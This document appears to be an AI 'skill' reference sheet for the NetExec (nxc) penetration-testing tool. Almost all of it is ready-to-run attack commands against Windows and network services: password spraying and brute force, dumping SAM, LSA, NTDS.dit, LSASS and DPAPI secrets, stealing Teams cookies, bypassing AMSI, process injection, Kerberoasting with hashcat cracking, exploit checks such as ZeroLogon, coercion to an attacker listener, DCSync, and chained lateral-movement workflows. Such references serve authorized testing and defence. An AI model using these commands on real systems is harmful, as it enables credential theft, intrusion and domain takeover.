NetExec (nxc) — Reference Skill

Global Syntax & Options

nxc <protocol> <target(s)> [auth options] [action options] [global options]

Available Protocols

smb ssh ldap ftp wmi winrm rdp vnc mssql nfs

Target Formats

nxc smb 192.168.1.0/24          # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28          # IP range
nxc smb dc01.corp.local         # Hostname
nxc smb ~/targets.txt           # File

Global Flags

Flag	Description
-t THREADS	Concurrent threads (default: 100)
--timeout TIMEOUT	Per-thread timeout in seconds
--jitter INTERVAL	Random delay between connections (e.g. 3, 2-5, 4-4)
--no-progress	Suppress progress bar
--verbose	Verbose output
--debug	Debug-level output

---

Authentication

Core Auth Flags

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

-id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

Domain Auth (SMB example)

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

Local Auth

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

Kerberos Auth

# Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k

# Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache

# Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

Multi-Domain Environments

# users.txt format:
# DOMAIN1\user1
# DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'

Output Color Codes

• RED — Authentication failed
• GREEN — Authentication succeeded
• MAGENTA — Password valid but account is not admin
• (Pwn3d!) — Admin access / code execution available

Pwn3d! Meaning by Protocol

Protocol	Pwn3d! Meaning
SMB	Local/domain admin access
WMI	Local admin
WinRM	Code execution
RDP	Code execution
VNC	Code execution
LDAP	Path to Domain Admin
SSH	Root access
FTP	No check

---

Password Spraying & Brute Force

# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success

# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt

# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce

# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5

# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)

# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success

⚠️ OpSec: Jitter works per-host. Spraying against multiple hosts multiplies authentication attempts. Monitor domain lockout policy before spraying (use --pass-pol first).

---

SMB Protocol

Network Discovery

# Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24

# Expected output:
# SMB  192.168.1.101  445  DC2016A  [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

Enumeration

# Shares and access
nxc smb <ip> -u user -p pass --shares

# Null session share enum
nxc smb <ip> -u '' -p '' --shares

# Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares

# Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt

# Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000   # Set max RID

# Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol

# Logged-on users (requires admin)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser

# Active Windows sessions (registry-based, no admin needed)
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'

# Active sessions via QWINSTA (admin required)
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser

# Local groups
nxc smb 192.168.1.0/24 -u user -p pass --local-group

# Disks
nxc smb 192.168.1.0/24 -u user -p pass --disks

# Network interfaces (admin required)
nxc smb <ip> -u user -p pass --interfaces

# Null sessions
nxc smb <ip> -u '' -p ''

# SMB signing not required (relay attack candidates)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

# Check for NTLMv1 (via remote registry, admin required)
nxc smb <ip> -u user -p pass -M ntlmv1

# Enumerate AV/EDR (no admin needed)
nxc smb <ip> -u user -p pass -M enum_av

# Enumerate BitLocker status
nxc smb <ip> -u user -p pass -M bitlocker

# Enumerate remote processes (admin required)
nxc smb <ip> -u user -p pass --remote-processes

# Check for lockscreen backdoors (admin required)
nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors

Spidering Shares

# Spider specific share for file pattern
nxc smb <ip> -u user -p pass --spider C\$ --pattern txt

# Spider all readable shares (list only)
nxc smb <ip> -u user -p pass -M spider_plus

# Spider and download all files
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

# Filter by content/regex
nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'

File Operations

# Get a file
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt

# Put a file
nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt

Command Execution

Requires admin/Pwn3d! access.

# Execute cmd command (-x)
nxc smb <ip> -u Administrator -p 'Pass' -x whoami

# Execute PowerShell command (-X)
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'

# Force specific execution method
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec

# Bypass AMSI for PowerShell
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload

# Process Injection — run as another user's process (SYSTEM needed)
nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami

Execution method order (automatic fallback): wmiexec → atexec → smbexec

Credential Dumping via SMB

All methods below require local admin unless noted.

# SAM hashes (local accounts)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump  # fallback method

# LSA secrets (requires Domain Admin or Local Admin on DC)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump

# NTDS.dit — full AD hash dump (requires Domain Admin)
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled   # active accounts only
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss         # VSS method
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator  # multi-domain

# NTDS via ntdsutil module
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil

# NTDS via raw disk access
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS

# LSASS dump
nxc smb <ip> -u Administrator -p 'Pass' -M lsassy
nxc smb <ip> -u Administrator -p 'Pass' -M nanodump
nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz  # deprecated

# DPAPI — browser creds, Credential Manager
nxc smb <ip> -u user -p pass --dpapi
nxc smb <ip> -u user -p pass --dpapi cookies       # include browser cookies
nxc smb <ip> -u user -p pass --dpapi nosystem      # skip system creds (stealth)
nxc smb <ip> -u user -p pass --local-auth --dpapi nosystem

# Azure/M365 token cache (WAM)
nxc smb <ip> -u user -p pass -M wam
nxc smb <ip> -u user -p pass -M wam --mkfile masterkeys.txt
nxc smb <ip> -u user -p pass -M wam --pvk domain_backup_key.pvk

# BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)
nxc smb <ip> -u user -p pass -M backup_operator

# SCCM credentials
nxc smb <ip> -u user -p pass --sccm
nxc smb <ip> -u user -p pass --sccm disk
nxc smb <ip> -u user -p pass --sccm wmi

# Credential manager applications
nxc smb <ip> -u user -p pass -M keepass_discover
nxc smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="/path/from/discovery"
nxc smb <ip> -u user -p pass -M veeam
nxc smb <ip> -u user -p pass -M wifi
nxc smb <ip> -u user -p pass -M winscp
nxc smb <ip> -u user -p pass -M vnc
nxc smb <ip> -u user -p pass -M mremoteng
nxc smb <ip> -u user -p pass -M rdcman
nxc smb <ip> -u user -p pass -M putty

# Notepad / Notepad++ unsaved documents
nxc smb <ip> -u user -p pass -M notepad
nxc smb <ip> -u user -p pass -M notepad++

Vulnerability Scanning

# ZeroLogon (CVE-2020-1472)
nxc smb <ip> -u '' -p '' -M zerologon

# noPAC / Sam-The-Admin (needs creds)
nxc smb <ip> -u user -p pass -M nopac

# PrintNightmare
nxc smb <ip> -u '' -p '' -M printnightmare

# SMBGhost (CVE-2020-0796)
nxc smb <ip> -u '' -p '' -M smbghost

# EternalBlue MS17-010
nxc smb <ip> -u '' -p '' -M ms17-010

# NTLM Reflection (CVE-2025-33073) — needs creds
nxc smb <ip> -u user -p pass -M ntlm_reflection

# Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)
nxc smb <ip> -u '' -p '' -M coerce_plus
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam   # or pe, dfs, pr

# Run multiple vuln checks at once
nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost

LAPS

# Read LAPS password (if you have a user with ReadLAPSPassword rights)
nxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname  # non-default admin name

Delegation Abuse

# RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator

# S4U2Self — with computer account nearly always gets local admin
nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self

Miscellaneous SMB

# Impersonate logged-on users
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami

# Change user password
nxc smb <ip> -u user -p pass --change-password newpassword

# Modify group membership
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser

# Dump Teams cookies
nxc smb <ip> -u user -p pass -M teams_localdb

# Steal Teams cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies

# Check spooler / WebDAV running
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav

# Defeating LAPS — read password if privileged
nxc smb <ip> -u privilegeduser -p pass --laps

---

LDAP Protocol

Authentication / Basic

nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k                        # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local

User Enumeration

nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users            # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions   # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count            # Users with adminCount=1

Group Enumeration

nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"

Domain Info

nxc ldap <ip> -u user -p pass --dc-list          # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid  # Domain SID
nxc ldap <ip> -u user -p pass --trusts           # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota  # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath   # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet   # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing  # LDAP signing config

Kerberos Attacks

# ASREPRoast — no auth needed if you have usernames
nxc ldap <ip> -u '' -p '' --asreproast output.txt       # anonymous (if allowed)
nxc ldap <ip> -u users.txt -p '' --asreproast output.txt
nxc ldap <ip> -u user -p pass --asreproast output.txt   # authenticated (finds all)
nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local

# Crack with hashcat
hashcat -m18200 output.txt wordlist.txt

# Kerberoasting
nxc ldap <ip> -u user -p pass --kerberoasting output.txt

# Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list

# Kerberoasting via AS-REP roastable account
nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt

# Crack with hashcat
hashcat -m13100 output.txt wordlist.txt

# Pre2k Computer Account Abuse
nxc ldap <ip> -u user -p pass -M pre2k
# Tickets saved to ~/.nxc/modules/pre2k/ccache/

Privilege Escalation & Delegation

# Find all misconfigured delegations (Unconstrained, Constrained, RBCD)
nxc ldap <ip> -u user -p pass --find-delegation

# Unconstrained delegation accounts
nxc ldap <ip> -u user -p pass --unconstrained-delegation

ACL / DACL Analysis

# Read all ACEs on a target object
nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read

# Check what rights a specific principal has on a target
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp

# Find who has DCSync rights
nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync

# Check for DENY ACEs
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied

# Backup DACLs for multiple targets
nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup

Credential & Secret Extraction

# Dump gMSA passwords (requires right; uses LDAPS automatically)
nxc ldap <ip> -u user -p pass --gmsa

# Extract gMSA secrets
nxc ldap <ip> -u user -p pass -M get-gmsa-creds

# Read DACL rights on gMSA
nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>

BloodHound Data Collection

nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOn

SCCM / Entra ID / DNS

# SCCM enumeration
nxc ldap <ip> -u user -p pass -M enum-sccm

# Entra ID enumeration
nxc ldap <ip> -u user -p pass --entra-id

# Unsecured DNS zones
nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones

# Custom LDAP query
nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"

raisechild — Domain Trust Escalation

nxc ldap <ip> -u user -p pass -M raisechild

---

WinRM Protocol

# Check auth
nxc winrm <ip> -u user -p pass

# Execute command
nxc winrm <ip> -u user -p pass -X whoami

# Credential dumping (admin required)
nxc winrm <ip> -u user -p pass --sam
nxc winrm <ip> -u user -p pass --lsa
nxc winrm <ip> -u user -p pass --dpapi   # no admin needed — dumps current user creds

Pwn3d! on WinRM = code execution is possible. Use evil-winrm for interactive shell: evil-winrm -i <ip> -u user -p pass

---

WMI Protocol

# Auth check
nxc wmi <ip> -u user -p pass

# Password spray
nxc wmi <ip> -u ~/users.txt -p ~/passwords.txt

# Execute command
nxc wmi <ip> -u user -p pass -x whoami

---

MSSQL Protocol

# Auth check (domain)
nxc mssql <ip> -u user -p pass

# Auth check (local SQL account)
nxc mssql <ip> -u sa -p 'P@ssw0rd' --local-auth

# Run SQL query
nxc mssql <ip> -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

# OS command via xp_cmdshell (requires sysadmin)
nxc mssql <ip> -u sa -p pass -x whoami

# Password spray
nxc mssql <ip> -u ~/users.txt -p ~/passwords.txt --no-bruteforce

# Privilege escalation — check for impersonation rights
nxc mssql <ip> -u user -p pass -M mssql_priv

# Escalate to sysadmin
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=privesc

# Rollback (after engagement)
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=rollback

# Enumerate users by RID brute
nxc mssql <ip> -u user -p pass --rid-brute

# Linked servers
nxc mssql <ip> -u user -p pass --mssql-linked-servers

# Upload/download files
nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\\remote\\file.txt
nxc mssql <ip> -u user -p pass --get-file C:\\remote\\file.txt /local/file.txt

---

SSH Protocol

# Auth check
nxc ssh <ip> -u user -p pass
nxc ssh <ip> -u root -p pass         # Pwn3d! if root

# Password spray
nxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt

# Execute command
nxc ssh <ip> -u user -p pass -x whoami

# File transfer
nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file
nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file

---

RDP Protocol

# Auth check / password spray
nxc rdp <ip> -u user -p pass
nxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt

# Screenshot without NLA (unauthenticated)
nxc rdp <ip> -u '' -p '' --screenshot --screentime 5

# Screenshot with auth
nxc rdp <ip> -u user -p pass --screenshot

# Execute command
nxc rdp <ip> -u user -p pass -x whoami

---

VNC Protocol

# Auth check
nxc vnc <ip> -u user -p pass

# Screenshot
nxc vnc <ip> --screenshot

---

FTP Protocol

# Auth check / spray
nxc ftp <ip> -u user -p pass
nxc ftp <ip> -u ~/users.txt -p ~/passwords.txt

# List files
nxc ftp <ip> -u user -p pass --ls

# Download / upload
nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt
nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt

---

NFS Protocol

# Enumerate exports
nxc nfs <ip>
nxc nfs <ip> -u user -p pass --enum-shares

# Download / upload
nxc nfs <ip> --get-file /remote/path/file.txt /local/file.txt
nxc nfs <ip> --put-file /local/file.txt /remote/path/

# chmod on remote file
nxc nfs <ip> -u user -p pass --chmod 777 /remote/file.txt

# Escape to root filesystem
nxc nfs <ip> -u user -p pass --chroot

---

Modules System

# List all modules for a protocol
nxc smb -L
nxc ldap -L
nxc winrm -L

# View module options
nxc smb -M lsassy --options

# Run a module
nxc smb <ip> -u user -p pass -M lsassy

# Run with options
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

# Run MULTIPLE modules at once (v1.1+)
nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp

---

Logging & Audit Mode

# Log all results to file
nxc smb <target> -u user -p pass --log results.txt

# Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)
# Set: audit_mode = *   (or any character to use as redaction mask)

Pentest Scenario Example (Chained Workflows)

Initial Recon (No Creds)

# 1. Discover live hosts and SMB info
nxc smb 192.168.1.0/24

# 2. Find hosts without SMB signing (relay targets)
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt

# 3. Check null session / guest logon
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u 'a' -p ''

# 4. Enumerate shares with null session
nxc smb 192.168.1.0/24 -u '' -p '' --shares

# 5. ASREPRoast with username wordlist
nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt

With Domain Creds (Low Privilege)

# 1. Collect BloodHound data
nxc ldap <dc_ip> -u user -p pass --bloodhound --collection All

# 2. Get password policy
nxc smb <dc_ip> -u user -p pass --pass-pol

# 3. Enumerate all users
nxc ldap <dc_ip> -u user -p pass --users-export users.txt

# 4. Kerberoast
nxc ldap <dc_ip> -u user -p pass --kerberoasting kerberoast.txt
hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# 5. Find delegation misconfigs
nxc ldap <dc_ip> -u user -p pass --find-delegation

# 6. Check DACL rights on Domain Admins
nxc ldap <dc_ip> -k -M daclread -o TARGET="Domain Admins" ACTION=read

# 7. Scan for vulns
nxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus

With Local Admin (Lateral Movement)

# 1. Dump SAM / LSA on target
nxc smb <ip> -u localadmin -p pass --local-auth --sam
nxc smb <ip> -u localadmin -p pass --local-auth --lsa

# 2. Dump LSASS (get domain creds)
nxc smb <ip> -u localadmin -p pass --local-auth -M lsassy

# 3. Spray dumped hashes across subnet
nxc smb 192.168.1.0/24 -u Administrator -H <NTHASH> --local-auth

# 4. Spider shares for sensitive files
nxc smb 192.168.1.0/24 -u user -p pass -M spider_plus

With Domain Admin

# 1. Dump NTDS.dit
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' --ntds

# 2. DCSync specific user
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='"lsadump::dcsync /domain:corp.local /user:krbtgt"'

# 3. Dump all DPAPI secrets at scale
nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem

---

Quick Reference: Flag Cheatsheet

Flag	Purpose
-u	Username(s) or file
-p	Password(s) or file
-H	NTLM hash
-k	Kerberos auth
--use-kcache	Use KRB5CCNAME ticket
--local-auth	Local user (not domain)
--id	Use cred ID from DB
-x	Run CMD command
-X	Run PowerShell command
--exec-method	Force wmiexec/atexec/smbexec
-M	Module name (repeatable)
-o	Module options KEY=value
-L	List available modules
--sam	Dump SAM hashes
--lsa	Dump LSA secrets
--ntds	Dump NTDS.dit
--dpapi	Dump DPAPI secrets
--shares	Enumerate SMB shares
--users	Enumerate users
--pass-pol	Get domain password policy
--loggedon-users	List logged-on users
--spider	Spider a share
--laps	Read LAPS password
--asreproast	ASREPRoast to file
--kerberoasting	Kerberoast to file
--bloodhound	Run BloodHound collector
--find-delegation	Find delegation misconfigs
--no-bruteforce	Pair user[i]:pass[i] mode
--continue-on-success